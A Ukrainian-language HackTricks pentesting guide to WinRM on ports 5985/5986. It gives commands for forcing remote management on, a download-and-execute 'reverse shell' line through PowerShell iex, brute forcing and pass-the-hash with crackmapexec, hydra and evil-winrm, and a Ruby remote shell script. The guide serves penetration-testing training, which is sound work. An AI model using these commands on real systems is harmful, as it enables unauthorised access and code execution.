20 KiB
5985,5986 - Тестування на проникнення WinRM
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити вашу компанію в рекламі HackTricks або завантажити HackTricks у PDF Перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks і HackTricks Cloud репозиторіїв на GitHub.
Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за вразливостями!
Інсайти щодо Хакінгу
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
Новини про Хакінг у Реальному Часі
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
Останні Оголошення
Будьте в курсі найновіших програм нагород за вразливості та важливих оновлень платформи
Приєднуйтесь до нас на Discord і почніть співпрацювати з найкращими хакерами вже сьогодні!
WinRM
Windows Remote Management (WinRM) відзначається як протокол від Microsoft, який дозволяє віддалене управління системами Windows через HTTP(S), використовуючи SOAP у процесі. Це фундаментально працює на основі WMI, представляючи себе як інтерфейс на основі HTTP для операцій WMI.
Наявність WinRM на машині дозволяє просте віддалене управління за допомогою PowerShell, схоже на те, як працює SSH для інших операційних систем. Щоб визначити, чи працює WinRM, рекомендується перевірити відкриття конкретних портів:
- 5985/tcp (HTTP)
- 5986/tcp (HTTPS)
Відкритий порт зі списку вище свідчить про те, що WinRM налаштований, тим самим дозволяючи спроби ініціювати віддалену сесію.
Ініціювання сесії WinRM
Для налаштування PowerShell для WinRM використовується командлет Microsoft Enable-PSRemoting
, який налаштовує комп'ютер на прийом віддалених команд PowerShell. З підвищеним доступом до PowerShell можна виконати наступні команди для активації цієї функціональності та вказати будь-який хост як довіреного:
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
Цей підхід передбачає додавання маски до конфігурації trustedhosts
, крок, який потребує обережного врахування через його наслідки. Також відзначається, що може знадобитися змінити тип мережі з "Public" на "Work" на машині атакуючого.
Крім того, WinRM може бути активований віддалено за допомогою команди wmic
, продемонстровано наступним чином:
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
Цей метод дозволяє віддалено налаштовувати WinRM, підвищуючи гнучкість у керуванні віконними машинами здалеку.
Перевірка налаштування
Для перевірки налаштування вашої атакуючої машини використовується команда Test-WSMan
, щоб перевірити, чи цільовий об'єкт належним чином налаштований для WinRM. Виконавши цю команду, ви повинні очікувати отримати деталі щодо версії протоколу та wsmid, що вказує на успішне налаштування. Нижче наведено приклади, що демонструють очікуваний вивід для налаштованої цілі порівняно з неналаштованою:
- Для цілі, яка належним чином налаштована, вивід буде схожий на цей:
Test-WSMan <target-ip>
Відповідь повинна містити інформацію про версію протоколу та wsmid, що свідчить про правильну настройку WinRM.
- Навпаки, для цілі, не налаштованої для WinRM, це призведе до відсутності такої детальної інформації, що підкреслює відсутність належної настройки WinRM.
Виконання команди
Для виконання команди ipconfig
віддалено на цільовій машині та перегляду її виводу зробіть:
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
Ви також можете виконати команду вашої поточної консолі PS через Invoke-Command. Припустимо, що у вас локально є функція під назвою enumeration і ви хочете виконати її на віддаленому комп'ютері, ви можете зробити так:
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
Виконання скрипту
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
Отримати зворотню оболонку
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
Отримати PS-сесію
Для отримання інтерактивної оболонки PowerShell використовуйте Enter-PSSession
:
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
Сеанс буде запущено в новому процесі (wsmprovhost) всередині "жертви"
Примусове відкриття WinRM
Для використання PS Remoting та WinRM, але якщо комп'ютер не налаштований, ви можете активувати його за допомогою:
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
Збереження та відновлення сесій
Це не працюватиме, якщо мова обмежена на віддаленому комп'ютері.
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
У цих сеансах ви можете завантажувати PS скрипти за допомогою Invoke-Command
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Помилки
Якщо ви зустрінете наступну помилку:
enter-pssession : Підключення до віддаленого сервера 10.10.10.175 не вдалося з наступним повідомленням про помилку: Клієнт WinRM не може обробити запит. Якщо схема аутентифікації відрізняється від Kerberos або якщо клієнтський комп'ютер не приєднаний до домену, тоді потрібно використовувати транспорт HTTPS або додати машину призначення до налаштування конфігурації TrustedHosts. Використовуйте winrm.cmd для налаштування TrustedHosts. Зверніть увагу, що комп'ютери в списку TrustedHosts можуть не бути аутентифіковані. Ви можете отримати більше інформації, виконавши наступну команду: winrm help config. Для отримання додаткової інформації див. тему довідки about_Remote_Troubleshooting.
Спробуйте на клієнті (інформація з тут):
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
Приєднуйтесь до сервера HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
Інсайти щодо взлому
Взаємодійте з контентом, який досліджує захоплення та виклики взлому
Новини про взломи в реальному часі
Будьте в курсі швидкозмінного світу взлому завдяки новинам та інсайтам в реальному часі
Останні оголошення
Будьте в курсі найновіших запусків баг баунті та важливих оновлень платформи
Приєднуйтесь до нас на Discord та почніть співпрацювати з найкращими хакерами вже сьогодні!
Підключення WinRM в Linux
Брутфорс
Будьте обережні, брутфорс WinRM може заблокувати користувачів.
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
Використання evil-winrm
gem install evil-winrm
Прочитайте документацію на її github: https://github.com/Hackplayers/evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
Для підключення до IPv6-адреси за допомогою evil-winrm створіть запис всередині /etc/hosts, встановивши ім'я домену на IPv6-адрес та підключіться до цього домену.
Передача хешу з evil-winrm
evil-winrm -u <username> -H <Hash> -i <IP>
Використання PS-машини docker
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
Використання ruby-скрипта
Код витягнуто звідси: https://alamot.github.io/winrm_shell/
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
Shodan
port:5985 Microsoft-HTTPAPI
References
Автоматичні команди HackTricks
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
Приєднуйтесь до сервера HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
Інсайти щодо хакінгу
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
Новини про хакінг у реальному часі
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
Останні оголошення
Будьте в курсі найновіших запусків баг баунті та важливих оновлень платформи
Приєднуйтесь до нас на Discord та почніть співпрацювати з найкращими хакерами вже сьогодні!
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити свою компанію рекламовану на HackTricks або завантажити HackTricks у PDF-форматі, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.